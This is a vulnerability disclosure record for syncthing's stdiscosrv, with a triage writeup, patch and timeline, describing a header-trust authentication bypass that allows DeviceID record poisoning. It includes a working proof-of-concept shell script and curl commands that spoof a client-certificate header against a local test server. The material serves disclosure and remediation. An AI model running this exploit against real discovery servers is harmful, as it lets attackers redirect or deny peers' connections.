ANT-2026-B324R0JY · syncthing/syncthing

auth-bypass high

Severity Claude critical · Security research firm high · Maintainer -

Discovered by Claude Mythos Preview

REPORT

Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Doyensec.

ANT-2026-B324R0JY: stdiscosrv trusts proxy header for client identity in direct-TLS mode → DeviceID poisoning

In stdiscosrv's announcement endpoint (POST /), when the connection lacks a TLS client certificate the handler falls back to reading the client DeviceID from a proxy header that the remote client fully controls. That spoofed DeviceID and the announced addresses are passed to db.merge(&deviceID, dbAddrs, seen) at apisrv.go:326 and persisted. Under the default direct-TLS deployment (no fronting proxy), any internet client can therefore create or overwrite the discovery record for an arbitrary victim DeviceID. This breaks the discovery server's core identity-binding guarantee and lets an attacker point peers looking up the victim to attacker-chosen addresses.

Target

Project: syncthing/syncthing
Location: cmd/stdiscosrv/apisrv.go:326

Technical Details

stdiscosrv POST / handler accepts an attacker-supplied proxy header as the client DeviceID when no TLS client certificate is presented, and writes the announced addresses to db.merge(&deviceID, dbAddrs, seen) at apisrv.go:326. On the default direct-TLS configuration, any internet client can register/overwrite addresses for any victim DeviceID, breaking the discovery server's identity-binding guarantee.

Reproduction

  1. Connect to stdiscosrv's POST / endpoint without presenting a TLS client certificate.
  2. Set the proxy header to the target victim's DeviceID.
  3. Submit an announcement body containing attacker-controlled addresses.
  4. Handler accepts the header as the DeviceID and calls db.merge(&deviceID, dbAddrs, seen) at apisrv.go:326, persisting the spoofed record.

[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]

Suggested Fix

In cmd/stdiscosrv/apisrv.go, when running in direct-TLS mode, ignore proxy-forwarded identity headers and require the TLS client certificate; derive deviceID only from the presented cert hash.

Acknowledgement

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-B324R0JY.


Reference: ANT-2026-B324R0JY
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure

SECURITY RESEARCH FIRM ANALYSIS

Triage and disclosure were performed by Doyensec. The writeup below is the document the firm sent to the maintainer.

Verdict
true positive
Severity
high

Vulnerability Header

Field Value
Vulnerability Title Stdiscosrv Trusts Proxy-Supplied Client Certificate Headers in Direct-TLS Mode, Enabling Unauthenticated DeviceID Record Poisoning
Severity Rating High
Bug Category Authentication Bypass / Improper Trust of Reverse-Proxy Headers
Location cmd/stdiscosrv/apisrv.go:333 (certificateBytes), cmd/stdiscosrv/apisrv.go:257 (call site in handlePOST)
Affected Versions All releases since v1.19.0 (proxy-header fallback introduced in commit 083fa1803, January 2022); confirmed on main at 44abd15162

Executive Summary

In stdiscosrv's announcement endpoint (POST /), when the connection lacks a TLS client certificate, the handler falls back to reading the client certificate from one of three reverse-proxy headers (X-Ssl-Cert, X-Tls-Client-Cert-Der-Base64, X-Forwarded-Tls-Client-Cert). This fallback is enabled in every deployment mode, including the default direct-TLS mode where no reverse proxy is in the request path and those headers are therefore attacker-controlled.

An unauthenticated remote attacker who possesses a victim's public certificate (commonly available to any past sync peer, relay operator, or discovery operator the victim has ever announced to) can register or overwrite the discovery record for the victim's DeviceID with attacker-chosen addresses. This breaks the discovery server's identity-binding guarantee and enables targeted denial of service and peer-graph metadata leakage. End-to-end sync data is not affected because the sync protocol independently authenticates peers via TLS client-cert pinning, which the attacker cannot bypass without the victim's private key.

Root Cause Analysis

Technical Description

stdiscosrv supports two deployment modes:

The function certificateBytes at cmd/stdiscosrv/apisrv.go:333 is responsible for extracting the announcing client's certificate. It first tries to read it from the actual TLS handshake:

func certificateBytes(req *http.Request) ([]byte, error) {
    if req.TLS != nil && len(req.TLS.PeerCertificates) > 0 {
        return req.TLS.PeerCertificates[0].Raw, nil
    }

    var bs []byte

    if hdr := req.Header.Get("X-Ssl-Cert"); hdr != "" {
        // ... parse PEM ...
    } else if hdr := req.Header.Get("X-Tls-Client-Cert-Der-Base64"); hdr != "" {
        // ... base64-decode ...
    } else if cert := req.Header.Get("X-Forwarded-Tls-Client-Cert"); cert != "" {
        // ... reconstruct PEM ...
    }
    // ...
}

The header-based branches were introduced to support the reverse-proxy deployment, where TLS terminates at the proxy and req.TLS.PeerCertificates is therefore unavailable. However, the fallback is taken regardless of whether the server is actually running behind a proxy. The deployment-mode flag s.useHTTP is consulted only for listener choice (apisrv.go:94) and for parsing X-Forwarded-For (apisrv.go:162); it does not gate the certificate-source headers.

In direct-TLS mode, an attacker can:

  1. Connect to stdiscosrv directly over TLS without presenting a client certificate. The TLS listener is configured with ClientAuth: tls.RequestClientCert (apisrv.go:104), which requests but does not require a client cert, so the handshake succeeds.
  2. Issue POST / with the victim's public certificate placed in X-Tls-Client-Cert-Der-Base64 (or one of the other accepted headers).
  3. certificateBytes returns the attacker-supplied certificate, handlePOST computes DeviceID = SHA256(rawCert) (apisrv.go:275) — yielding the victim's DeviceID — and handleAnnounce persists the attacker-controlled addresses via db.merge (apisrv.go:326).

The crucial difference between the two sources is that req.TLS.PeerCertificates[0] is the cryptographic outcome of a successful TLS handshake (the client proved possession of the matching private key via CertificateVerify), while a header value is just bytes the client asked the server to trust. In proxy mode a trusted intermediary supplies the latter; in direct-TLS mode there is no such intermediary.

First Faulty Condition

File cmd/stdiscosrv/apisrv.go
Line 333
Condition certificateBytes reads client certificate material from request headers (X-Ssl-Cert, X-Tls-Client-Cert-Der-Base64, X-Forwarded-Tls-Client-Cert) without checking whether the server is running in --http (reverse-proxy) mode. In direct-TLS mode no proxy has validated those headers, so they are attacker-controlled.

Trace Analysis

Logic-bug trace from the entry point to the misbehavior:

Exploitability Assessment

Attack Vector & Reachability

Attack vector Network.
Authentication required None.
User interaction required None.
Reachable in default config Yes. Default deployment is direct-TLS (no --http flag) and is documented as a fully supported configuration. The vulnerable header fallback fires unconditionally.
Entry point(s) POST / over TLS, omitting the client certificate during the handshake and supplying the victim's public certificate in X-Tls-Client-Cert-Der-Base64 (or X-Ssl-Cert / X-Forwarded-Tls-Client-Cert).

The primitive is discovery-layer integrity break, not a data-plane attack. Because the sync protocol authenticates peers end-to-end via TLS pinning to DeviceID == SHA256(peer_cert), an attacker who poisons the discovery record with their own IP cannot complete a sync handshake as the victim — they hold only the victim's public certificate, not the matching private key. Realistic impact is therefore limited to:

  1. Targeted denial of service against the victim's reachability.
  2. Peer-graph metadata leakage (who is trying to reach whom).
  3. Cross-server amplification: a malicious operator of one public stdiscosrv can replay certificates legitimately collected during real announcements to poison records on other public discovery servers the victim does not use.

The required prerequisite is possession of the victim's public certificate. Because the certificate is exchanged in every Syncthing TLS handshake (sync, relay, discovery), it is routinely available to any current or former peer of the victim, to any relay operator the victim has used, to any operator of a discovery server the victim has announced to, and to any network observer of a TLS 1.2 handshake involving the victim. This places the prerequisite at a relatively low bar in practice but it does prevent fully untargeted exploitation of arbitrary DeviceIDs.

Reproduction Steps

Environment

OS / version Ubuntu 24.04
Target version / commit main at 44abd15162c92bbf52abd2c594abdaad52f239bd (v2.1.0-rc.1+3)

Steps

  1. Build and start stdiscosrv in default direct-TLS mode (no --http flag):

bash go run build.go -no-upgrade build stdiscosrv ./stdiscosrv --listen=127.0.0.1:18443 \ --db-dir=$(pwd) \ --cert=$(pwd)/cert.pem \ --key=$(pwd)/key.pem \ -d

  1. Generate a "victim" certificate. Any small certificate works; this PoC uses EC P-256 because openssl generates it in one line. Real Syncthing clients use Ed25519 for sync connections (lib/tlsutil/tlsutil.go:111), which is even smaller. Note that stdiscosrv enforces MaxHeaderBytes = 1 << 10, so any victim certificate whose base64-encoded DER form fits in the request header (true for both Ed25519 and EC P-256 in current Syncthing; false for legacy RSA-2048+ certificates) is exploitable:

bash openssl ecparam -name prime256v1 -genkey -noout -out victim_key.pem openssl req -new -x509 -key victim_key.pem -out victim_cert.pem \ -days 365 -subj "/CN=v"

  1. Compute the victim's DeviceID. The DeviceID is SHA256(cert.Raw) encoded in Syncthing's base32+Luhn format. The attached helper devid.go (placed under cmd/devid/ in the syncthing tree) does this; from the syncthing repo root:

bash mkdir -p cmd/devid && cp /path/to/devid.go cmd/devid/main.go VICTIM_ID=$(go run ./cmd/devid victim_cert.pem) echo "$VICTIM_ID"

  1. Confirm no record exists yet for the victim:

bash curl -sk -o /dev/null -w "HTTP %{http_code}\n" \ "https://127.0.0.1:18443/?device=$VICTIM_ID" # Expected: HTTP 404

  1. Execute the attack. Connect to stdiscosrv directly over TLS without presenting any client certificate, supply the victim's public certificate in X-Tls-Client-Cert-Der-Base64, and announce attacker-chosen addresses:

bash DER_B64=$(openssl x509 -in victim_cert.pem -outform DER | base64 -w0) curl -sk -i -X POST \ -H "Content-Type: application/json" \ -H "X-Tls-Client-Cert-Der-Base64: $DER_B64" \ --data '{"addresses":["tcp://6.6.6.6:6666","tcp://7.7.7.7:7777"]}' \ "https://127.0.0.1:18443/" # Expected: HTTP/2 204 No Content (announcement accepted)

  1. Verify the victim's discovery record is now under attacker control:

bash curl -sk "https://127.0.0.1:18443/?device=$VICTIM_ID" # Expected: HTTP 200 # {"seen":"...","addresses":["tcp://6.6.6.6:6666","tcp://7.7.7.7:7777"]}

The attached poc.sh performs steps 2–6 end-to-end against an already-running stdiscosrv on 127.0.0.1:18443.

Expected output

Lookup BEFORE attack:           HTTP 404
Attacker POST:                  HTTP/2 204
Lookup AFTER attack:            HTTP/2 200
                                {"addresses":["tcp://6.6.6.6:6666","tcp://7.7.7.7:7777"]}

PoC files

Recommended Fix

Option 1 (recommended). Refuse the proxy-header fallback when stdiscosrv is not running in --http mode. The protocol specification already states that announcements without a client certificate must be rejected with 403 Forbidden, so this restores the documented behavior in the default deployment. The change is small (≈10 lines) and is provided as diff.patch:

func (s *apiSrv) certificateBytes(req *http.Request) ([]byte, error) {
    if req.TLS != nil && len(req.TLS.PeerCertificates) > 0 {
        return req.TLS.PeerCertificates[0].Raw, nil
    }

    // Proxy-supplied client cert headers are only trustworthy when stdiscosrv
    // is running behind a reverse proxy that has terminated TLS and verified
    // the client cert. In direct-TLS mode (the default) these headers are
    // attacker-controlled and must be ignored.
    if !s.useHTTP {
        return nil, errors.New("no client certificate")
    }

    var bs []byte
    // ... existing X-Ssl-Cert / X-Tls-Client-Cert-Der-Base64 /
    //     X-Forwarded-Tls-Client-Cert parsing unchanged ...
}

The fix has been verified on the same setup: the attack POST that previously returned 204 No Content now returns 403 Forbidden, no record is created, and a legitimate client presenting a real TLS client certificate (curl --cert victim_cert.pem --key victim_key.pem ...) continues to announce successfully.

Option 2 (defense in depth). In the operator documentation, add an explicit warning that the X-Ssl-Cert, X-Tls-Client-Cert-Der-Base64, and X-Forwarded-Tls-Client-Cert headers are only honored in --http mode, and that a reverse proxy deployed in front of stdiscosrv must scrub any such headers received from clients before forwarding requests.

Patch provenance: AI-generated, Human-reviewed.

References

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research

Attachment: diff.patch

diff --git a/cmd/stdiscosrv/apisrv.go b/cmd/stdiscosrv/apisrv.go
index 3a94dd3e9..b7b1239b5 100644
--- a/cmd/stdiscosrv/apisrv.go
+++ b/cmd/stdiscosrv/apisrv.go
@@ -254,7 +254,7 @@ func (s *apiSrv) handleGET(w http.ResponseWriter, req *http.Request) {
 func (s *apiSrv) handlePOST(remoteAddr *net.TCPAddr, w http.ResponseWriter, req *http.Request) {
    reqID := req.Context().Value(idKey).(requestID)

-   rawCert, err := certificateBytes(req)
+   rawCert, err := s.certificateBytes(req)
    if err != nil {
        slog.Debug("Request without certificates", "id", reqID, "error", err)
        announceRequestsTotal.WithLabelValues("no_certificate").Inc()
@@ -330,11 +330,19 @@ func handlePing(w http.ResponseWriter, _ *http.Request) {
    w.WriteHeader(http.StatusNoContent)
 }

-func certificateBytes(req *http.Request) ([]byte, error) {
+func (s *apiSrv) certificateBytes(req *http.Request) ([]byte, error) {
    if req.TLS != nil && len(req.TLS.PeerCertificates) > 0 {
        return req.TLS.PeerCertificates[0].Raw, nil
    }

+   // Proxy-supplied client cert headers are only trustworthy when stdiscosrv
+   // is running behind a reverse proxy that has terminated TLS and verified
+   // the client cert. In direct-TLS mode (the default) these headers are
+   // attacker-controlled and must be ignored.
+   if !s.useHTTP {
+       return nil, errors.New("no client certificate")
+   }
+
    var bs []byte

    if hdr := req.Header.Get("X-Ssl-Cert"); hdr != "" {

Attachment: poc.sh

#!/bin/bash
set -e
cd /home/ubuntu/poc

# Regenerate victim cert with EC P-256 (much smaller DER)
openssl ecparam -name prime256v1 -genkey -noout -out victim_key.pem
openssl req -new -x509 -key victim_key.pem -out victim_cert.pem -days 365 -subj "/CN=v" 2>/dev/null
DER_BYTES=$(openssl x509 -in victim_cert.pem -outform DER | wc -c)
echo "victim cert DER size: $DER_BYTES bytes"

# Recompute victim DeviceID (SHA256 of cert.Raw)
cd /home/ubuntu/syncthing # this is cloned source code directory
PATH=/usr/local/go-1.25/bin:$PATH go run ./cmd/devid /home/ubuntu/poc/victim_cert.pem > /tmp/vid
VICTIM_ID=$(cat /tmp/vid)
echo "victim DeviceID: $VICTIM_ID"
cd /home/ubuntu/poc

DER_B64=$(openssl x509 -in victim_cert.pem -outform DER | base64 -w0)
echo "base64 length: ${#DER_B64}"
echo

echo "=========================================="
echo "STEP 1: Lookup BEFORE (expect 404)"
echo "=========================================="
curl -sk -o /dev/null -w "HTTP %{http_code}\n" "https://127.0.0.1:18443/?device=$VICTIM_ID"
echo

echo "=========================================="
echo "STEP 2: Attacker POST (no client cert; spoofed X-Tls-Client-Cert-Der-Base64)"
echo "=========================================="
curl -sk -i \
  -X POST \
  -H "Content-Type: application/json" \
  -H "X-Tls-Client-Cert-Der-Base64: $DER_B64" \
  --data '{"addresses":["tcp://6.6.6.6:6666","tcp://7.7.7.7:7777"]}' \
  "https://127.0.0.1:18443/" | head -8
echo

echo "=========================================="
echo "STEP 3: Lookup AFTER"
echo "=========================================="
curl -sk -i "https://127.0.0.1:18443/?device=$VICTIM_ID" | head -20
echo
echo "Saving victim DeviceID for later reference: $VICTIM_ID"
UPSTREAM FIX

The change that resolved this finding.

diff --git a/cmd/stdiscosrv/apisrv.go b/cmd/stdiscosrv/apisrv.go
index 3a94dd3e91d..7c486669cc5 100644
--- a/cmd/stdiscosrv/apisrv.go
+++ b/cmd/stdiscosrv/apisrv.go
@@ -254,7 +254,7 @@ func (s *apiSrv) handleGET(w http.ResponseWriter, req *http.Request) {
 func (s *apiSrv) handlePOST(remoteAddr *net.TCPAddr, w http.ResponseWriter, req *http.Request) {
 	reqID := req.Context().Value(idKey).(requestID)
 
-	rawCert, err := certificateBytes(req)
+	rawCert, err := s.certificateBytes(req)
 	if err != nil {
 		slog.Debug("Request without certificates", "id", reqID, "error", err)
 		announceRequestsTotal.WithLabelValues("no_certificate").Inc()
@@ -330,10 +330,13 @@ func handlePing(w http.ResponseWriter, _ *http.Request) {
 	w.WriteHeader(http.StatusNoContent)
 }
 
-func certificateBytes(req *http.Request) ([]byte, error) {
+func (s *apiSrv) certificateBytes(req *http.Request) ([]byte, error) {
 	if req.TLS != nil && len(req.TLS.PeerCertificates) > 0 {
 		return req.TLS.PeerCertificates[0].Raw, nil
 	}
+	if !s.useHTTP {
+		return nil, errors.New("no certificate presented")
+	}
 
 	var bs []byte
 

https://github.com/syncthing/syncthing/commit/774aa11795a9edc904e8849e772a47804cf2aeb6

TIMELINE

Dates from discovery through public reveal.

  1. 2026-04-10 Reported to tracker
  2. 2026-05-07 Sent to maintainer
  3. 2026-05-07 Maintainer acknowledged
  4. 2026-05-11 Patch released
  5. 2026-08-17 Publicly revealed
PROVENANCE

SHA-3-512 hash:

de0da45ed86fd10d44e03057e27a006b20bacdee8624c5a009c87453ce6834b64226c35871698a581e96030723b5c504051c7096ae0808b07a98adb40b60e711

Committed 2026-05-07 00:08 PT

Revealed 2026-08-17 13:02 PT

Verify (download preimage.json)

Show preimage JSON
{
  "ant_id": "ANT-2026-B324R0JY",
  "bug_class": "auth_bypass",
  "claude_severity": "critical",
  "commit_sha": null,
  "created_at": "2026-04-10T23:56:33+00:00",
  "description": "In stdiscosrv's announcement endpoint (POST /), when the connection lacks a TLS client certificate the handler falls back to reading the client DeviceID from a proxy header that the remote client fully controls. That spoofed DeviceID and the announced addresses are passed to db.merge(&deviceID, dbAddrs, seen) at apisrv.go:326 and persisted. Under the default direct-TLS deployment (no fronting proxy), any internet client can therefore create or overwrite the discovery record for an arbitrary victim DeviceID. This breaks the discovery server's core identity-binding guarantee and lets an attacker point peers looking up the victim to attacker-chosen addresses.",
  "discovered_at": null,
  "location": "cmd/stdiscosrv/apisrv.go:326",
  "poc_sha256": null,
  "preimage_version": 1,
  "project": "syncthing/syncthing",
  "reproduction": [
    "1. Connect to stdiscosrv's POST / endpoint without presenting a TLS client certificate.",
    "2. Set the proxy header to the target victim's DeviceID.",
    "3. Submit an announcement body containing attacker-controlled addresses.",
    "4. Handler accepts the header as the DeviceID and calls db.merge(&deviceID, dbAddrs, seen) at apisrv.go:326, persisting the spoofed record."
  ],
  "technical_details": "stdiscosrv POST / handler accepts an attacker-supplied proxy header as the client DeviceID when no TLS client certificate is presented, and writes the announced addresses to db.merge(&deviceID, dbAddrs, seen) at apisrv.go:326. On the default direct-TLS configuration, any internet client can register/overwrite addresses for any victim DeviceID, breaking the discovery server's identity-binding guarantee.",
  "title": "stdiscosrv trusts proxy header for client identity in direct-TLS mode → DeviceID poisoning",
  "vendor_severity": "high"
}